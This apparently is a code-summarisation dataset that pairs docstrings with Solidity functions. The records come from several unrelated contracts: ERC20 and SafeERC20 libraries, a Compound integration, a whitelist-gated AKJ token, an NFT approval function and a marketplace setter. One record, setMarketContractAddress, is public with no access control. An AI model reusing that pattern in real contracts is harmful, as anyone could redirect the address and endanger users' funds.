* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library MassetHelpers {
using StableMath for uint256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
function transferTokens(
address _sender,
address _recipient,
address _basset,
bool _erc20TransferFeeCharged,
uint256 _qty
)
internal
returns (uint256 receivedQty)
{
receivedQty = _qty;
if(_erc20TransferFeeCharged) {
uint256 balBefore = IERC20(_basset).balanceOf(_recipient);
IERC20(_basset).safeTransferFrom(_sender, _recipient, _qty);
uint256 balAfter = IERC20(_basset).balanceOf(_recipient);
receivedQty = StableMath.min(_qty, balAfter.sub(balBefore));
} else {
IERC20(_basset).safeTransferFrom(_sender, _recipient, _qty);
}
}
function safeInfiniteApprove(address _asset, address _spender)
internal
{
IERC20(_asset).safeApprove(_spender, 0);
IERC20(_asset).safeApprove(_spender, uint256(-1));
}
}
contract InitializableReentrancyGuard {
bool private _notEntered;
function _initialize() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
contract InitializableAbstractIntegration is
Initializable,
IPlatformIntegration,
InitializableGovernableWhitelist,
InitializableReentrancyGuard
{
using SafeERC20 for IERC20;
using SafeMath for uint256;
event PTokenAdded(address indexed _bAsset, address _pToken);
event Deposit(address indexed _bAsset, address _pToken, uint256 _amount);
event Withdrawal(address indexed _bAsset, address _pToken, uint256 _amount);
// Core address for the given platform */
address public platformAddress;
// bAsset => pToken (Platform Specific Token Address)
mapping(address => address) public bAssetToPToken;
// Full list of all bAssets supported here
address[] internal bAssetsMapped;
/**
* @dev Initialization function for upgradable proxy contract.
* This function should be called via Proxy just after contract deployment.
* @param _nexus Address of the Nexus
* @param _whitelisted Whitelisted addresses for vault access
* @param _platformAddress Generic platform address
* @param _bAssets Addresses of initial supported bAssets
* @param _pTokens Platform Token corresponding addresses
*/
function initialize(
address _nexus,
address[] calldata _whitelisted,
address _platformAddress,
address[] calldata _bAssets,
address[] calldata _pTokens
)
external
initializer
{
InitializableReentrancyGuard._initialize();
InitializableGovernableWhitelist._initialize(_nexus, _whitelisted);
InitializableAbstractIntegration._initialize(_platformAddress, _bAssets, _pTokens);
}
/**
* @dev Internal initialize function, to set up initial internal state
* @param _platformAddress Generic platform address
* @param _bAssets Addresses of initial supported bAssets
* @param _pTokens Platform Token corresponding addresses
*/
function _initialize(
address _platformAddress,
address[] memory _bAssets,
address[] memory _pTokens
)
internal
{
platformAddress = _platformAddress;
uint256 bAssetCount = _bAssets.length;
require(bAssetCount == _pTokens.length, "Invalid input arrays");
for(uint256 i = 0; i < bAssetCount; i++){
_setPTokenAddress(_bAssets[i], _pTokens[i]);
}
}
/***************************************
CONFIG
****************************************/
/**
* @dev Provide support for bAsset by passing its pToken address.
* This method can only be called by the system Governor
* @param _bAsset Address for the bAsset
* @param _pToken Address for the corresponding platform token
*/
function setPTokenAddress(address _bAsset, address _pToken)
external
onlyGovernor
{
_setPTokenAddress(_bAsset, _pToken);
}
/**
* @dev Provide support for bAsset by passing its pToken address.
* Add to internal mappings and execute the platform specific,
* abstract method `_abstractSetPToken`
* @param _bAsset Address for the bAsset
* @param _pToken Address for the corresponding platform token
*/
function _setPTokenAddress(address _bAsset, address _pToken)
internal
{
require(bAssetToPToken[_bAsset] == address(0), "pToken already set");
require(_bAsset != address(0) && _pToken != address(0), "Invalid addresses");
bAssetToPToken[_bAsset] = _pToken;
bAssetsMapped.push(_bAsset);
emit PTokenAdded(_bAsset, _pToken);
_abstractSetPToken(_bAsset, _pToken);
}
function _abstractSetPToken(address _bAsset, address _pToken) internal;
function reApproveAllTokens() external;
/***************************************
ABSTRACT
****************************************/
/**
* @dev Deposit a quantity of bAsset into the platform
* @param _bAsset Address for the bAsset
* @param _amount Units of bAsset to deposit
* @param _isTokenFeeCharged Flag that signals if an xfer fee is charged on bAsset
* @return quantityDeposited Quantity of bAsset that entered the platform
*/
function deposit(address _bAsset, uint256 _amount, bool _isTokenFeeCharged)
external returns (uint256 quantityDeposited);
/**
* @dev Withdraw a quantity of bAsset from the platform
* @param _receiver Address to which the bAsset should be sent
* @param _bAsset Address of the bAsset
* @param _amount Units of bAsset to withdraw
* @param _isTokenFeeCharged Flag that signals if an xfer fee is charged on bAsset
*/
function withdraw(address _receiver, address _bAsset, uint256 _amount, bool _isTokenFeeCharged) external;
/**
* @dev Get the total bAsset value held in the platform
* This includes any interest that was generated since depositing
* @param _bAsset Address of the bAsset
* @return balance Total value of the bAsset in the platform
*/
function checkBalance(address _bAsset) external returns (uint256 balance);
/***************************************
HELPERS
****************************************/
/**
* @dev Simple helper func to get the min of two values
*/
function _min(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
return x > y ? y : x;
}
}
/**
* @title CompoundIntegration
* @author Stability Labs Pty. Ltd.
* @notice A simple connection to deposit and withdraw bAssets from Compound
* @dev VERSION: 1.2
* DATE: 2020-10-19
*/
contract CompoundIntegration is InitializableAbstractIntegration {
event SkippedWithdrawal(address bAsset, uint256 amount);
event RewardTokenApproved(address rewardToken, address account);
/***************************************
ADMIN
****************************************/
/**
* @dev Approves Liquidator to spend reward tokens
*/
function approveRewardToken()
external
onlyGovernor
{
address liquidator = nexus.getModule(keccak256("Liquidator"));
require(liquidator != address(0), "Liquidator address cannot be zero");
// Official checksummed COMP token address
// https://ethplorer.io/address/0xc00e94cb662c3520282e6f5717214004a7f26888
address compToken = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
MassetHelpers.safeInfiniteApprove(compToken, liquidator);
emit RewardTokenApproved(address(compToken), liquidator);
}
/***************************************
CORE
****************************************/
/**
* @dev Deposit a quantity of bAsset into the platform. Credited cTokens
* remain here in the vault. Can only be called by whitelisted addresses
* (mAsset and corresponding BasketManager)
* @param _bAsset Address for the bAsset
* @param _amount Units of bAsset to deposit
* @param _isTokenFeeCharged Flag that signals if an xfer fee is charged on bAsset
* @return quantityDeposited Quantity of bAsset that entered the platform
*/
function deposit(
address _bAsset,
uint256 _amount,
bool _isTokenFeeCharged
)
external
onlyWhitelisted
nonReentrant
returns (uint256 quantityDeposited)
{
require(_amount > 0, "Must deposit something");
// Get the Target token
ICERC20 cToken = _getCTokenFor(_bAsset);
// We should have been sent this amount, if not, the deposit will fail
quantityDeposited = _amount;
if(_isTokenFeeCharged) {
// If we charge a fee, account for it
uint256 prevBal = _checkBalance(cToken);
require(cToken.mint(_amount) == 0, "cToken mint failed");
uint256 newBal = _checkBalance(cToken);
quantityDeposited = _min(quantityDeposited, newBal.sub(prevBal));
} else {
// Else just execute the mint
require(cToken.mint(_amount) == 0, "cToken mint failed");
}
emit Deposit(_bAsset, address(cToken), quantityDeposited);
}
/**
* @dev Withdraw a quantity of bAsset from Compound. Redemption
* should fail if we have insufficient cToken balance.
* @param _receiver Address to which the withdrawn bAsset should be sent
* @param _bAsset Address of the bAsset
* @param _amount Units of bAsset to withdraw
*/
function withdraw(
address _receiver,
address _bAsset,
uint256 _amount,
bool _isTokenFeeCharged
)
external
onlyWhitelisted
nonReentrant
{
require(_amount > 0, "Must withdraw something");
require(_receiver != address(0), "Must specify recipient");
// Get the Target token
ICERC20 cToken = _getCTokenFor(_bAsset);
// If redeeming 0 cTokens, just skip, else COMP will revert
// Reason for skipping: to ensure that redeemMasset is always able to execute
uint256 cTokensToRedeem = _convertUnderlyingToCToken(cToken, _amount);
if(cTokensToRedeem == 0) {
emit SkippedWithdrawal(_bAsset, _amount);
return;
}
uint256 quantityWithdrawn = _amount;
if(_isTokenFeeCharged) {
IERC20 b = IERC20(_bAsset);
uint256 prevBal = b.balanceOf(address(this));
require(cToken.redeemUnderlying(_amount) == 0, "redeem failed");
uint256 newBal = b.balanceOf(address(this));
quantityWithdrawn = _min(quantityWithdrawn, newBal.sub(prevBal));
} else {
// Redeem Underlying bAsset amount
require(cToken.redeemUnderlying(_amount) == 0, "redeem failed");
}
// Send redeemed bAsset to the receiver
IERC20(_bAsset).safeTransfer(_receiver, quantityWithdrawn);
emit Withdrawal(_bAsset, address(cToken), quantityWithdrawn);
}
/**
* @dev Get the total bAsset value held in the platform
* This includes any interest that was generated since depositing
* Compound exchange rate between the cToken and bAsset gradually increases,
* causing the cToken to be worth more corresponding bAsset.
* @param _bAsset Address of the bAsset
* @return balance Total value of the bAsset in the platform
*/
function checkBalance(address _bAsset)
external
returns (uint256 balance)
{
// balance is always with token cToken decimals
ICERC20 cToken = _getCTokenFor(_bAsset);
balance = _checkBalance(cToken);
}
/***************************************
APPROVALS
****************************************/
/**
* @dev Re-approve the spending of all bAssets by their corresponding cToken,
* if for some reason is it necessary. Only callable through Governance.
*/
function reApproveAllTokens()
external
onlyGovernor
{
uint256 bAssetCount = bAssetsMapped.length;
for(uint i = 0; i < bAssetCount; i++){
address bAsset = bAssetsMapped[i];
address cToken = bAssetToPToken[bAsset];
MassetHelpers.safeInfiniteApprove(bAsset, cToken);
}
}
/**
* @dev Internal method to respond to the addition of new bAsset / cTokens
* We need to approve the cToken and give it permission to spend the bAsset
* @param _bAsset Address of the bAsset to approve
* @param _cToken This cToken has the approval approval
*/
function _abstractSetPToken(address _bAsset, address _cToken)
internal
{
// approve the pool to spend the bAsset
MassetHelpers.safeInfiniteApprove(_bAsset, _cToken);
}
/***************************************
HELPERS
****************************************/
/**
* @dev Get the cToken wrapped in the ICERC20 interface for this bAsset.
* Fails if the pToken doesn't exist in our mappings.
* @param _bAsset Address of the bAsset
* @return Corresponding cToken to this bAsset
*/
function _getCTokenFor(address _bAsset)
internal
view
returns (ICERC20)
{
address cToken = bAssetToPToken[_bAsset];
require(cToken != address(0), "cToken does not exist");
return ICERC20(cToken);
}
/**
* @dev Get the total bAsset value held in the platform
* underlying = (cTokenAmt * exchangeRate) / 1e18
* @param _cToken cToken for which to check balance
* @return balance Total value of the bAsset in the platform
*/
function _checkBalance(ICERC20 _cToken)
internal
view
returns (uint256 balance)
{
uint256 cTokenBalance = _cToken.balanceOf(address(this));
uint256 exchangeRate = _cToken.exchangeRateStored();
// e.g. 50e8*205316390724364402565641705 / 1e18 = 1.0265..e18
balance = cTokenBalance.mul(exchangeRate).div(1e18);
}
/**
* @dev Converts an underlying amount into cToken amount
* cTokenAmt = (underlying * 1e18) / exchangeRate
* @param _cToken cToken for which to change
* @param _underlying Amount of underlying to convert
* @return amount Equivalent amount of cTokens
*/
function _convertUnderlyingToCToken(ICERC20 _cToken, uint256 _underlying)
internal
view
returns (uint256 amount)
{
uint256 exchangeRate = _cToken.exchangeRateStored();
// e.g. 1e18*1e18 / 205316390724364402565641705 = 50e8
// e.g. 1e8*1e18 / 205316390724364402565641705 = 0.45 or 0
amount = _underlying.mul(1e18).div(exchangeRate);
}
}
|
Internal method to respond to the addition of new bAsset / cTokens We need to approve the cToken and give it permission to spend the bAsset _bAsset Address of the bAsset to approve _cToken This cToken has the approval approval/ approve the pool to spend the bAsset
|
function _abstractSetPToken(address _bAsset, address _cToken)
internal
{
MassetHelpers.safeInfiniteApprove(_bAsset, _cToken);
}
| 560,313 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
contract MultiOwnable {
using SafeMath for uint256;
mapping(address => bool) public isOwner;
address[] public ownerHistory;
uint256 public ownerCount;
event OwnerAddedEvent(address indexed _newOwner);
event OwnerRemovedEvent(address indexed _oldOwner);
constructor() public
{
address owner = msg.sender;
setOwner(owner);
}
modifier onlyOwner() {
require(isOwner[msg.sender]);
_;
}
function ownerHistoryCount() public view returns (uint) {
return ownerHistory.length;
}
function addOwner(address owner) onlyOwner public {
require(owner != address(0));
require(!isOwner[owner]);
setOwner(owner);
emit OwnerAddedEvent(owner);
}
function removeOwner(address owner) onlyOwner public {
require(ownerCount > 1);
require(isOwner[owner]);
isOwner[owner] = false;
ownerCount = ownerCount.sub(1);
emit OwnerRemovedEvent(owner);
}
function setOwner(address owner) internal {
ownerHistory.push(owner);
isOwner[owner] = true;
ownerCount = ownerCount.add(1);
}
}
contract AccessControl is RBAC, MultiOwnable {
event AddedToWhitelist(address addr);
event RemovedFromWhitelist(address addr);
event AdminAddressAdded(address addr);
event AdminAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
string public constant ROLE_ADMIN = "admin";
constructor() public
{
addToAdminlist(msg.sender);
addToWhitelist(msg.sender);
}
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
modifier onlyFromWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
modifier onlyWhitelisted(address first)
{
checkRole(msg.sender, ROLE_WHITELISTED);
checkRole(first, ROLE_WHITELISTED);
_;
}
modifier onlyWhitelistedParties(address first, address second)
{
checkRole(msg.sender, ROLE_WHITELISTED);
checkRole(first, ROLE_WHITELISTED);
checkRole(second, ROLE_WHITELISTED);
_;
}
/**
*
* WHITELIST FUNCTIONS
*
*/
/**
* @dev add an address to the whitelist
* @param addr address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addToWhitelist(address addr)
onlyAdmin
public
{
addRole(addr, ROLE_WHITELISTED);
emit AddedToWhitelist(addr);
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addManyToWhitelist(address[] addrs)
onlyAdmin
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addToWhitelist(addrs[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeFromWhitelist(address addr)
onlyAdmin
public
{
removeRole(addr, ROLE_WHITELISTED);
emit RemovedFromWhitelist(addr);
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeManyFromWhitelist(address[] addrs)
onlyAdmin
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeFromWhitelist(addrs[i]);
}
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
/**
*
* ADMIN LIST FUNCTIONS
*
*/
/**
* @dev add an address to the adminlist
* @param addr address
* @return true if the address was added to the adminlist, false if the address was already in the adminlist
*/
function addToAdminlist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_ADMIN);
emit AdminAddressAdded(addr);
}
function removeFromAdminlist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_ADMIN);
emit AdminAddressRemoved(addr);
}
/**
* @dev getter to determine if address is in adminlist
*/
function admin(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_ADMIN);
}
}
contract AKJToken is BurnableToken, StandardToken, AccessControl
{
string public constant name = "AKJ"; // solium-disable-line uppercase
string public constant symbol = "AKJ"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); // Creates 1.000.000.000 with a given amount of "decimals"
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public onlyWhitelisted(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyWhitelistedParties(_from, _to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public onlyWhitelisted(_spender) returns (bool) {
return super.approve(_spender, _value);
}
}
|
add addresses to the whitelist addrs addresses return true if at least one address was added to the whitelist, false if all addresses were already in the whitelist/
|
function addManyToWhitelist(address[] addrs)
onlyAdmin
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addToWhitelist(addrs[i]);
}
}
| 14,016,025 |
./full_match/3/0x39368995A497C2aB3bc65184C1c4FF533FA68E3F/sources/contracts/MyNFT.sol
|
See {IERC721-setApprovalForAll}./
|
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "MyNFT: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
| 8,243,425 |
./partial_match/4/0xB61222c5F71cc3D985C88c35A76Aa94b2747f61a/sources/MarketPlace.sol
|
set market place address
|
function setMarketContractAddress(address maketPlace) public {
__address = maketPlace;
}
| 8,695,087 |
// Copyright (C) 2021 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
